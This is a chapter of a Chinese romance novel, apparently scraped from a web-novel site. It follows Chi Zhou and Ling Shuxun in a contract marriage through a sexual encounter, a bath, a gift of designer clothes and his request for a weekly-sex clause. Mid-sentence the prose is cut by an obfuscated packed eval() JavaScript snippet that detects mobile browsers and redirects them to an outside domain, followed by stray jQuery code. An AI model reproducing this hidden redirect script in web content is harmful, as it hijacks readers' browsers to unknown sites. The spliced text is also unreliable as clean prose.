抱住她的那一瞬,迟昼终于明白那种感觉为何会出现。
是从上次在酒店的情迷之夜以后。
他在贪恋她的温度和肌肤。
是他对她的身体,产生了渴求。
于是在她开始回应的时候,他皮肤下所有的叫嚣都归于平静,取而代之的是一种前所未有的餍足。
迟昼终于承认,他食髓知味,对她柔软温存的身体产生了别样的兴趣。
怀中的人此刻已经没有刚刚那居高临下的眼神,只伏在他的肩上休憩喘息,面颊上带着微微的潮红,额角濡湿。
他撇过头去,再度吻住她的双唇。
折腾到傍晚,他才抽离,而凌书寻早已没有了力气,卧在沙发上平息。
迟昼起身,撩过挡在她眼前的发丝:“累了?”
凌书寻迷迷糊糊地“嗯”了一声,沉重的动都不想动。
迟昼抬起她的肩,手臂穿过她的膝下,把她从沙发上抱起。
她娇软的身体竟是如此单薄,长发凌乱地散落在光洁的背后。那双昳丽的桃花眼此刻闭阖着,侧脸贴在他的胸膛,只任由他抱着。
上楼的过程迟昼几乎没费什么力气,缓缓走进卧室的卫浴间,将她放在浴缸里。
凌书寻的肌肤触碰到光滑温热的壁面,全身都暖呼呼的才睁开眼睛,惊觉这浴缸居然能自动加热。
温度适宜的清水正缓缓没过她的腿根。
迟昼则是在另一侧的黑色花洒下冲澡。
水声停下,他在腰间随手围了一条白色浴巾。胸前还有水珠在不断的向下,或急或缓的流淌过几块紧实的腹肌,又汇在人鱼线上。
凌书寻倚在浴缸里,默不作声的看着,下一秒却和迟昼视线相交。
她装作不经意地掠过,抬起还似有千斤重的小臂,心猿意马的向肩膀撩拨着水。
眼见迟昼静默的走出浴室,凌书寻的身体和大脑才彻底放松,深吸了一口气躺进水底。
当温柔的水波涤荡着那张清丽的面庞,她迷蒙的大脑才开始逐渐感到清明,理智的思维又重新占领高地。
她不仅懊恼。
迟昼那张脸明明冷的跟雪一样,也就身材算是她喜欢的那款,可自己怎么能一看到就被冲昏了头脑呢?
想来想去,凌书寻觉得凌书寻觉得只有一个词可以解释——
色令智昏!
既然古人编纂这个成语,那古往今来一定有不少人败在了这个字上。何况她只是一个普通女人,也难免会犯一两次错误。
脑中的切片又不受控制,一点点浮现起她双臂圈在迟昼肩上、两人拥吻的那刻。
声息如同撞击在一起的两片海浪,此起彼伏。
到了最后,也已经说不清是谁更主动。
凌乱的回忆裹挟着某些过往再度袭来,她又想到了另一个人。
其实和戴择在一起的时候,凌书寻并没有多喜欢和他接触,只是因为他是自己初恋,心理上难免更依赖他一些。
可是怎么到了迟昼这里,自己反而很贪恋他的身体。
他像一个欲望的漩涡,在吸引自己不断靠近、下坠,最后沉沦在他的中心。
而她很喜欢。
“……送到别墅……当季……另外……”
耳中传来的似乎是迟昼讲电话的声音,只是隔着一片水域听不清,而她也不甚在意。
凌书寻正闭着眼睛出神,没注意一阵脚步声逼近。
一只冷白的手伸进水里,抓住她纤细的胳膊,带着几分迫切的力道,一把把她从水里捞了出来。
“……?”
凌书寻被拽的猝不及防,下意识曲起修长浑圆的双腿,手臂交错护住胸前的春色,坐在浴缸里一脸惊恐地看向来人。
罪魁祸首此刻正站在浴缸前,凌厉的眉骨蹙起,一脸不悦。
迟昼抿着薄唇,眼帘垂下,看不出想法。
他打完电话后,下意识向浴室看去,可是里面却安静的过分,没有一丝水声,顿觉疑惑。
他走进来,看到凌书寻沉静的躺在浴缸里,水面平静似冰,当下心里一沉,伸手把她捞了出来。
“看来你是真的喜欢练习憋气。”迟昼冷冷扫她一眼。
上次把头埋进被子里,这次又栽进水里。
这个女人的迷惑行为还真是多。
凌书寻反应过来:“你该不会……以为我溺死在你家浴缸了吧?”
她自己倒是先轻轻一笑,抬起弯弯的眼睛看着迟昼:“这么好的房子,我可不舍得让它变成凶宅。”
迟昼懒得理她,只从墙壁的置物架上拿了一条浴巾扔到浴缸边沿,一言不发的出去。
看着他平阔的背影,凌书寻只得在心里暗暗吐槽一句“无趣”,这人冷漠的性格根本配不上他的外貌和肉.体!
她再次躺靠在浴缸里,长纾一口气。
又磨蹭了一会,凌书寻终于从水中起身,将柔软亲肤的浴巾裹住自己的身体。
捋了一把潮湿的长发,从柜子里找到吹风机,开始吹干。
机器发出的噪音充斥着她的耳膜,没有听到楼下传来的阵阵人声。
凌书寻不认识这是什么牌子的吹风机,只觉得它吹出的风舒缓,却让头发干得很快。最重要的是,发丝吹完后不干不涩,意外的顺滑。
她决定跟迟昼说一身,把这个吹风机据为己有。
毕竟自己都决定搬过来住,跟迟昼要一个吹风机当礼物,不过分。
走出浴室,凌书寻看到迟昼正向自己走过来。
他换了一身白色的家居服,到让他气质原本地凌厉削去了几分,带上了一点柔和的气息。
“下来看看。”
凌书寻不知所以:“怎么了?”
从卧室走出去,透过栏杆向下一扫,她的脸上立刻流出惊异的表情。
“那些是,衣服?”她欣喜地看向迟昼。
迟昼微微点头,看向她的眸子依旧没什么温度:“去试试。”
凌书寻提着裹在胸前的浴巾,兴冲冲的小跑下楼。
偌大的客厅里,疏落有致的摆放着大小高度不一的衣架,上面还立着不同的品牌logo,都是她不舍得买的国际大牌。颜色、款式各异的服装挂在上面,各种风格的上下装都被精心搭配好。
凌书寻只打眼一看,就发现都是各家当季的新款。足足有几十件。
她缓步走近,抚摸这些美丽的衣料。
迟昼则跟在她后面,神情淡然地走下来,每个步履都那么慢条斯理,好像从没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205527|179671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么波动。
他坐回沙发,撑着额头看她。
不过一些衣物而已,她竟然能如此开心。迟昼心想,凌书寻到底也是不能免俗的女人。
不过看到她能露出笑容,迟昼觉得倒也不错。
他已经很久都没有体会过,这样简单用钱就能得到的快乐。自小优渥的物质生活,让他无论想要什么,几乎都能得到。
尤其是在母亲去世后,也许是为了补偿,迟擎苍给他的钱永远没有花完的时候。哪怕是跟着自己的佣人,出手也足够阔绰,每当迟昼多看了任何物品一眼,它也会在第二天出现在他眼前。
却从没有人问他,喜不喜欢。
“太多了,不可能试的完。”凌书寻套了一件M家的丝织物连衣裙,丝绸的面料搭配流苏花边,刚刚没过腿根。
迟昼这才注意到,她还光脚踩在地上,然而在这件白色的裙子下,她的双腿依然匀称修长。
“那就都收起来吧,它们是你的了。”
“这么多,你全买了?”凌书寻愣了一下,还是不由自主的染上笑意。
她想凑到迟昼身边坐下才发现,柔软的皮革上面,还残留着他们许多温存的印记。
而他的脖颈间,也有她留下的瑰色吻痕。
凌书寻有些不好意思,担心明天周姨来了会看到,想着等会一定要叫着迟昼先处理一下“案发现场”。
她轻咳一声,双腿蜷在沙发,轻轻歪向迟昼身上:“谢谢你迟昼,我很喜欢。不过太多了,穿不过来的。”
顿了顿,才继续说道:“而且,我和你发生关系,并不是为了这些……”
她的脸颊上又飘起一丝红晕,声音也逐渐微不可闻。
可迟昼还是听到了。
他侧过脸。
凌书寻的脑袋正搭在他肩上。她眸子如水雾一般,氤氲着视线,不知看向前面的何方。
迟昼的喉结滚动几下,那个萦绕他许久的问题又涌到嘴边。
“凌书寻。”
他甚少叫她的名字。
凌书寻听到他的声音,那样低醇而磁性。她心脏猛的跳动一下,下一秒却不自知的坐直身体,撇头看他。
“我想增加一条补充协议。”迟昼接住她的目光。
“你说。”
迟昼的眼神还是那么沉静,如一块清泉墨石,看不出温度和悲喜。
凌书寻倒开始有些不安起来,她猜不到他想说什么。
是他想要终止这场荒唐的协议婚姻,还是告诉她另有义务?
那他送的这些衣服,是不是谈判的筹码?
他在把她当什么。
凌书寻的眼底闪过一丝落寞,决定权握在迟昼的手里,而她过于看好这段关系。
此刻,迟昼的胸腔也有一场她听不到的海啸,席卷着他的心脏,让他连说出口的话都带着不确定性。这根本就不像他。
在商场上都雷厉风行惯了的人,此时却为了一刻欢愉,征求一个女人的意见。
他重新凝起落在她脸上的目光:“每周做一次。”
凌书寻愣了一下,瞳孔都在摇晃:“什么?”
迟昼重复道:“我们每周做一次。”
“不止扶光,你想要的任何资源,我都会给你。”